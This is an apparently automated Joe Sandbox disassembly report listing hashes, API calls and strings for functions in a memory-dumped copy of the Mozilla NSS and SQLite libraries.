Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 9b79fccb01f6cdc53fe0b46d8576e88de1ace0b167876708d9423bb7e6499262
Instruction ID: 5570495a881c8fcec774d5d8c43a7038da1f1c77a687f03594d34ba27225c00d
Opcode Fuzzy Hash: 9b79fccb01f6cdc53fe0b46d8576e88de1ace0b167876708d9423bb7e6499262
Instruction Fuzzy Hash: 65718C71E142469FEB04CF15CD40BAABBA4FF94348F164269F818DBA11F771EA94CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CF5ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE10
EnterCriticalSection.KERNEL32(?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CF3D079,00000000,?), ref: 6CF5AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE7F
TlsGetValue.KERNEL32(?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AEF1
free.MOZGLUE(6CF3CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF3CDBB,?), ref: 6CF5AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AF30

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: bf92de10d0209a1e01157401fe76d13ddbd8a0146fa58cee93ad1b8444cbfc0a
Instruction ID: 19c9abff8180492b3938190280b5cbcb4cb164f591494d579ad4c7003a8e60af
Opcode Fuzzy Hash: bf92de10d0209a1e01157401fe76d13ddbd8a0146fa58cee93ad1b8444cbfc0a
Instruction Fuzzy Hash: 6A5190B1A00602AFDB01DF26D884B66BBF4FF19318F544665EA0897A11E731F874CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF34CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CF3AB7F,?,00000000,?), ref: 6CF34CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CF3AB7F,?,00000000,?), ref: 6CF34CC8
TlsGetValue.KERNEL32(?,6CF3AB7F,?,00000000,?), ref: 6CF34CE0
EnterCriticalSection.KERNEL32(?,?,6CF3AB7F,?,00000000,?), ref: 6CF34CF4
PL_HashTableLookup.NSS3(?,?,?,6CF3AB7F,?,00000000,?), ref: 6CF34D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CF34D10

Part of subcall function 6CFBDD70: TlsGetValue.KERNEL32 ref: 6CFBDD8C
Part of subcall function 6CFBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CFBDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CF34D26

Part of subcall function 6CFD9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D020A27), ref: 6CFD9DC6
Part of subcall function 6CFD9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D020A27), ref: 6CFD9DD1
Part of subcall function 6CFD9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFD9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CF34D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CF34DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CF34E02

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 6fbadeaeed9651700a495ceb22de73e1cc329ae506b69eebdd2f6d95088502f1
Instruction ID: e568c7c8beb3b727b32ac564fc52425d1a79f5758b0dff1d7abe18168a39eb66
Opcode Fuzzy Hash: 6fbadeaeed9651700a495ceb22de73e1cc329ae506b69eebdd2f6d95088502f1
Instruction Fuzzy Hash: 0141C6B6900115ABEB019F65EC40BA67FB8FF05258F045170EC0C87B11EB32D964C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CEFFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CEFFD18
sqlite3_initialize.NSS3 ref: 6CEFFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CEFFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CEFFD99
sqlite3_free.NSS3(00000000), ref: 6CEFFE3C
sqlite3_free.NSS3(?), ref: 6CEFFEE3
sqlite3_free.NSS3(?), ref: 6CEFFEEE

Strings

simple, xrefs: 6CEFFC79

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 1e8a6610191087a3c39539a4425dbaab96219d5276cd9380c582c9872b846b55
Instruction ID: e60b670a1a4dda882a469950f816107d96ceeee3389a66c10f04f1b2ef0431d5
Opcode Fuzzy Hash: 1e8a6610191087a3c39539a4425dbaab96219d5276cd9380c582c9872b846b55
Instruction Fuzzy Hash: DE915EB5A012059FDB04CF65C880BAAB7F1FF85318F35C568D8299B752D739E842CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CF05CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF05EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF05EED

Strings

unable to close due to unfinalized statements or unfinished backups, xrefs: 6CF05E64
misuse, xrefs: 6CF05EDB
invalid, xrefs: 6CF05EBE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF05ED1
API call with %s database connection pointer, xrefs: 6CF05EC3
%s at line %d of [%.10s], xrefs: 6CF05EE0

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: c2b42369a5c1efc7bc341174f6adf01e13a38e73a37844e12c9a765100d10a8b
Instruction ID: 4ea5d92e8dafb2a34ae95749245049eca7ae7b8a671848cae0fea7af2acbef56
Opcode Fuzzy Hash: c2b42369a5c1efc7bc341174f6adf01e13a38e73a37844e12c9a765100d10a8b
Instruction Fuzzy Hash: 0481F531B0A6119BEB18CF14C868BAA7771BF41B0CF24426ED8155BB51C7B4EC42EBD9

Uniqueness

Uniqueness Score: -1.00%

Function 6CEEDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEEDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEEDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CEEDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CEEDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEEDF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CEEDE52, 6CEEDE81
%s at line %d of [%.10s], xrefs: 6CEEDE61, 6CEEDE90
database corruption, xrefs: 6CEEDE5C, 6CEEDE8B

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: e04803b3520bbc37075c36122bebb97dce0716f0f1391c9ace36b86f6d6d2a20
Instruction ID: 41169de797bc5f45efadb212bb9fdb28f0ea087f73017ac357d225f8f80c6afb
Opcode Fuzzy Hash: e04803b3520bbc37075c36122bebb97dce0716f0f1391c9ace36b86f6d6d2a20
Instruction Fuzzy Hash: 4D81C4756047009FD714CF25C880B6A77F1BF8934CF24892DE99A8BB92E731EA46C752

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CE9B999), ref: 6CE9CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CE9B999), ref: 6CE9D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CE9B999), ref: 6CE9D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CE9B999), ref: 6CFE972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE9CFDD, 6CE9D00E, 6CE9D022, 6CE9D033, 6CFE9780
%s at line %d of [%.10s], xrefs: 6CE9CFEC, 6CE9D018, 6CE9D029, 6CE9D03F, 6CFE978B
database corruption, xrefs: 6CE9CFE7, 6CE9D013, 6CE9D028, 6CE9D039, 6CE9D03E, 6CFE9786

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 702c7e378a359075fd05c02b7843dbe8024c6d5ffa9f2f5c5a7c688b27d044d8
Instruction ID: 20923bf66f7bdb1abadd4327b91f50646dac84d15d928b715ae705dab6d9cbe0
Opcode Fuzzy Hash: 702c7e378a359075fd05c02b7843dbe8024c6d5ffa9f2f5c5a7c688b27d044d8
Instruction Fuzzy Hash: B1610771A042109BD710CF29C841BA7BBF6EF95318F28816DE8499BB82D376D947C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CFB1E90 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 150COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?), ref: 6CFB1EB3

Part of subcall function 6CF5ADC0: TlsGetValue.KERNEL32(?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE10
Part of subcall function 6CF5ADC0: EnterCriticalSection.KERNEL32(?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE24
Part of subcall function 6CF5ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CF3D079,00000000,?), ref: 6CF5AE5A
Part of subcall function 6CF5ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE6F
Part of subcall function 6CF5ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AE7F
Part of subcall function 6CF5ADC0: TlsGetValue.KERNEL32(?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AEB1
Part of subcall function 6CF5ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CF3CDBB,?,6CF3D079,00000000,?), ref: 6CF5AEC9

Part of subcall function 6CFB3C40: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFB3C6F
Part of subcall function 6CFB3C40: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFB3C7A
Part of subcall function 6CFB3C40: PR_snprintf.NSS3(?,00000064,%s %s,?,?), ref: 6CFB3CA0
Part of subcall function 6CFB3C40: PR_GetCurrentThread.NSS3 ref: 6CFB3CC1

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFB2025

Part of subcall function 6CFB3C40: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFB3D4A
Part of subcall function 6CFB3C40: PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFB3DD9

PK11_FreeSymKey.NSS3(?), ref: 6CFB2012
PK11_FreeSymKey.NSS3(?), ref: 6CFB204A

Strings

CLIENT_HANDSHAKE_TRAFFIC_SECRET, xrefs: 6CFB1ED0
derived, xrefs: 6CFB1FC2
hs traffic, xrefs: 6CFB1ED5, 6CFB1F03
SERVER_HANDSHAKE_TRAFFIC_SECRET, xrefs: 6CFB1EFE

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: FreeK11_strlen$CriticalEnterErrorSectionValue$CurrentR_snprintfThreadUnlockfreememset
String ID: CLIENT_HANDSHAKE_TRAFFIC_SECRET$SERVER_HANDSHAKE_TRAFFIC_SECRET$derived$hs traffic
API String ID: 1957539860-3152504015
Opcode ID: bebfb0c7e27a0b67804b91d2ab25a44ccd6b56d273060c6dded5ed148af2f69a
Instruction ID: 9da7225fedc34a961ca90b3507f049fa18f474c273f2e92ce52c5ee58efd7b5a
Opcode Fuzzy Hash: bebfb0c7e27a0b67804b91d2ab25a44ccd6b56d273060c6dded5ed148af2f69a
Instruction Fuzzy Hash: A851A7B6A006059FE720DB6ACC45FEBB7F8EB44309F004429E959A7351E731E901CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF5CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CF5CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CF5CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CF5D079

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 4c7c06c62060994574e7599cfe618a4da681d93975354689cbdc438149ed914f
Instruction ID: 19c7148610af44b75faf3cdeb6bc51b2ee74b224386159a1c5b0060818efc04e
Opcode Fuzzy Hash: 4c7c06c62060994574e7599cfe618a4da681d93975354689cbdc438149ed914f
Instruction Fuzzy Hash: 66C19EB1A002199BDB10CF24CC80BDAB7F4BF58318F5541A8EA49A7741E775EEA5CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CF4DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CF597C1,?,00000000,00000000,?,?,?,00000000,?,6CF37F4A,00000000), ref: 6CF4DC68

Part of subcall function 6CF70BE0: malloc.MOZGLUE(6CF68D2D,?,00000000,?), ref: 6CF70BF8
Part of subcall function 6CF70BE0: TlsGetValue.KERNEL32(6CF68D2D,?,00000000,?), ref: 6CF70C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF4DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF4DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF4DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF4DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF4DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF4DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF4DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CF37F4A,00000000,?,00000000,00000000), ref: 6CF4DFAA

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 6dda59552f2f26b3ab2c2fdf4ec8c66201b17b983a9fcabd61b392bf91c6141c
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 2B81B4716066058BFF244A59D8A0BEA7ED6DB60748F20C43AD919CAFE3D779C4C4C712

Uniqueness

Uniqueness Score: -1.00%

Function 6CF23C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CF23C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CF23C94

Part of subcall function 6CF195B0: TlsGetValue.KERNEL32(00000000,?,6CF300D2,00000000), ref: 6CF195D2
Part of subcall function 6CF195B0: EnterCriticalSection.KERNEL32(?,?,?,6CF300D2,00000000), ref: 6CF195E7
Part of subcall function 6CF195B0: PR_Unlock.NSS3(?,?,?,?,6CF300D2,00000000), ref: 6CF19605

PORT_NewArena_Util.NSS3(00000800), ref: 6CF23CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CF23CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CF23CE1

Part of subcall function 6CF23090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CF3AE42), ref: 6CF230AA
Part of subcall function 6CF23090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CF230C7
Part of subcall function 6CF23090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CF230E5
Part of subcall function 6CF23090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CF23116
Part of subcall function 6CF23090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF2312B
Part of subcall function 6CF23090: PK11_DestroyObject.NSS3(?,?), ref: 6CF23154
Part of subcall function 6CF23090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF2317E

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 921ccb4ea82b3ac538b1be36eb992e9fabec2cecf2077c16c65c22ef97cd4e8b
Instruction ID: 56dc652b6325a20ca3e50d4a110027c8241105be54378a1bd3b8b956fd361326
Opcode Fuzzy Hash: 921ccb4ea82b3ac538b1be36eb992e9fabec2cecf2077c16c65c22ef97cd4e8b
Instruction Fuzzy Hash: 0661B7B1A406006BEB105FA5DC41FAB76BDEF14748F484428FE0A9A652F735E91CC7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF63D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CF63440: PK11_GetAllTokens.NSS3 ref: 6CF63481
Part of subcall function 6CF63440: PR_SetError.NSS3(00000000,00000000), ref: 6CF634A3
Part of subcall function 6CF63440: TlsGetValue.KERNEL32 ref: 6CF6352E
Part of subcall function 6CF63440: EnterCriticalSection.KERNEL32(?), ref: 6CF63542
Part of subcall function 6CF63440: PR_Unlock.NSS3(?), ref: 6CF6355B

TlsGetValue.KERNEL32 ref: 6CF63D8B
EnterCriticalSection.KERNEL32(?), ref: 6CF63D9F
PR_Unlock.NSS3(?), ref: 6CF63DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CF63DE2
